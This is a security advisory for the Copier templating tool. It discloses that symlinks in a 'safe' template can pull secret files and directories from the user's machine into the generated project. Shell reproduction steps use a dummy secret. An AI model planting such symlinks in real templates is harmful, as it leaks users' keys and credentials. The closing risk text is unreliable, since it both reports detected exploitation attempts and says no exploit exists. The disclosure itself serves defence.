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PYSEC-2026-1274
No affected components available
Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
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Illegally include a file in the generated project via symlink resolution:
echo "s3cr3t" > secret.txt mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd uvx copier copy src/ dst/ cat dst/stolen-secret.txt #s3cr3t -
Illegally include a directory in the generated project via symlink resolution:
mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd uvx copier copy src/ dst/ tree dst/ # dst/ # └── stolen-secrets # └── secret.txt # # 1 directory, 1 file cat dst/stolen-secrets/secret.txt # s3cr3t
Patches
n/a
Workarounds
n/a
References
n/a
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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